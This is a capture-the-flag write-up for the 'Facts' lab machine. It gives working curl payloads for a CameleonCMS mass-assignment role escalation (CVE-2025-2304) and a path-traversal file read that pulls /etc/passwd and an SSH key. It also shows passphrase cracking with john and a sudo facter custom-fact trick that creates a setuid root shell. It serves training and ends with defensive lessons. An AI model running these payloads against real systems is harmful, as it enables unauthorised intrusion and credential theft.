Machine Info
- Name: Facts
- IP: 10.129.2.144
- OS: Linux (Ubuntu)
- Difficulty: Easy
- Key Skills: CameleonCMS CVE Exploitation, Mass Assignment, Path Traversal, SSH Key Cracking, Facter Privilege Escalation
Summary
Facts is a Linux machine running CameleonCMS 2.9.0 (Ruby on Rails) with a MinIO/LocalStack S3 backend for media storage. Open user registration with CAPTCHA allows creating a low-privilege account. CVE-2025-2304 (mass assignment via permit!) escalates the account to admin by injecting password[role]=admin into the profile update endpoint. With admin access, CVE-2024-46987 (path traversal in download_private_file) reads arbitrary files from the server, including an encrypted SSH private key. Cracking the key passphrase with john and rockyou.txt yields SSH access as trivia. A sudo misconfiguration allowing /usr/bin/facter with NOPASSWD enables Ruby code execution as root via custom facts.
Attack Chain:
Register -> CVE-2025-2304 (admin) -> CVE-2024-46987 (file read) -> SSH key -> john (dragonballz) -> SSH as trivia -> sudo facter -> root
Reconnaissance
Port Scan
nmap -sC -sV -p- 10.129.2.144
Key open ports:
| Port | Service | Details |
|---|---|---|
| 22 | SSH | OpenSSH |
| 80 | HTTP | nginx 1.26.3 / CameleonCMS 2.9.0 |
Visiting http://facts.htb reveals a CameleonCMS instance themed around random facts. The registration page is open with a visual CAPTCHA.
Service Architecture
Reading the nginx configuration via the file read vulnerability later reveals the internal layout:
Port 80 -> nginx reverse proxy
Port 3000 -> Rails (CameleonCMS) as user trivia
Port 54321 -> MinIO/LocalStack S3 (as root)
The /randomfacts/ path proxies to MinIO for serving uploaded media.
Initial Access - User Registration and Privilege Escalation
Account Registration
CameleonCMS allows user registration at /admin/register with a 5-character visual CAPTCHA. Registering creates a low-privilege “Client” role account.
CVE-2025-2304 - Mass Assignment Privilege Escalation
CameleonCMS 2.9.0 uses permit! in the updated_ajax method of the UsersController, which allows ALL parameters through without filtering. By including password[role]=admin in the password change request, any authenticated user can escalate to administrator.
Step 1: Login and get profile edit page
# Extract CSRF token and user ID from profile edit page
curl -sk -b cookies.txt "http://facts.htb/admin/profile/edit"
Step 2: Send the mass assignment payload
The critical difference from a normal password change is the password[role]=admin parameter:
curl -sk -b cookies.txt -X POST \
-H "X-CSRF-Token: <csrf_token>" \
-H "X-Requested-With: XMLHttpRequest" \
-d "_method=patch \
&authenticity_token=<csrf_token> \
&password[password]=Password123! \
&password[password_confirmation]=Password123! \
&password[role]=admin" \
"http://facts.htb/admin/users/<user_id>/updated_ajax"
The response is 200 OK and the role changes from client to admin. Full CMS admin panel access is now available.
File Read - CVE-2024-46987
Path Traversal in download_private_file
With admin access, the download_private_file method in CameleonCMS MediaController allows reading arbitrary files via directory traversal:
curl -sk -b cookies.txt \
"http://facts.htb/admin/media/download_private_file?file=../../../../etc/passwd"
Key Files Extracted
System users:
root:x:0:0:root:/root:/bin/bash
trivia:x:1000:1000::/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash
User flag:
curl -sk -b cookies.txt \
"http://facts.htb/admin/media/download_private_file?file=../../../../home/william/user.txt"
Trivia’s SSH private key:
curl -sk -b cookies.txt \
"http://facts.htb/admin/media/download_private_file?file=../../../../home/trivia/.ssh/id_ed25519"
The key is encrypted with aes256-ctr and bcrypt KDF.
SSH Access - Key Passphrase Cracking
Converting and Cracking the Key
The SSH key is passphrase-protected. Using ssh2john from John the Ripper (jumbo) to convert it to a crackable format:
ssh2john trivia_key > trivia_hash.txt
The hash shows bcrypt KDF with 24 rounds - relatively fast to crack:
john --wordlist=/usr/share/wordlists/rockyou.txt trivia_hash.txt
dragonballz (trivia_key)
SSH Login
ssh -i trivia_key [email protected]
# Passphrase: dragonballz
trivia@facts:~$ id
uid=1000(trivia) gid=1000(trivia) groups=1000(trivia)
Privilege Escalation - Facter Custom Facts
Sudo Misconfiguration
trivia@facts:~$ sudo -l
User trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facter
Facter Ruby Code Execution
Facter is Puppet’s system fact collection tool, written in Ruby. It loads custom facts from Ruby files. While env_reset blocks the FACTERLIB environment variable, facter’s --custom-dir flag is passed directly as a command argument and is not blocked by sudo.
Step 1: Create a custom fact with arbitrary Ruby code
mkdir -p /tmp/facts
cat > /tmp/facts/root.rb << 'RUBY'
Facter.add(:rootflag) do
setcode do
Facter::Core::Execution.execute('cat /root/root.txt')
end
end
RUBY
Step 2: Execute via sudo facter
sudo /usr/bin/facter --custom-dir /tmp/facts rootflag
The root flag is returned directly.
Getting a Root Shell
For a full root shell instead of just command execution:
Facter.add(:shell) do
setcode do
Facter::Core::Execution.execute('cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash')
end
end
sudo /usr/bin/facter --custom-dir /tmp/facts shell
/tmp/rootbash -p
rootbash-5.1# id
uid=1000(trivia) gid=1000(trivia) euid=0(root) egid=0(root) groups=0(root),1000(trivia)
Lessons Learned
- Mass assignment remains a critical vulnerability - CameleonCMS 2.9.0 used
permit!which bypasses all parameter filtering, allowing role escalation with a single extra field in a password change request. - Path traversal in file download endpoints is a common pattern in CMS applications that handle media files. Always validate and sanitize file path parameters.
- Encrypted SSH keys are only as strong as their passphrase -
dragonballzfalls to a dictionary attack in under a minute despite bcrypt KDF. - Facter’s
--custom-dirbypasses env_reset - Even whenFACTERLIBis blocked by sudo’senv_reset, the--custom-dircommand-line flag achieves the same result, loading arbitrary Ruby code that executes as root. - S3-compatible storage on localhost (MinIO/LocalStack) running as root alongside a web application creates a complex attack surface where file read vulnerabilities can access configuration and credentials.
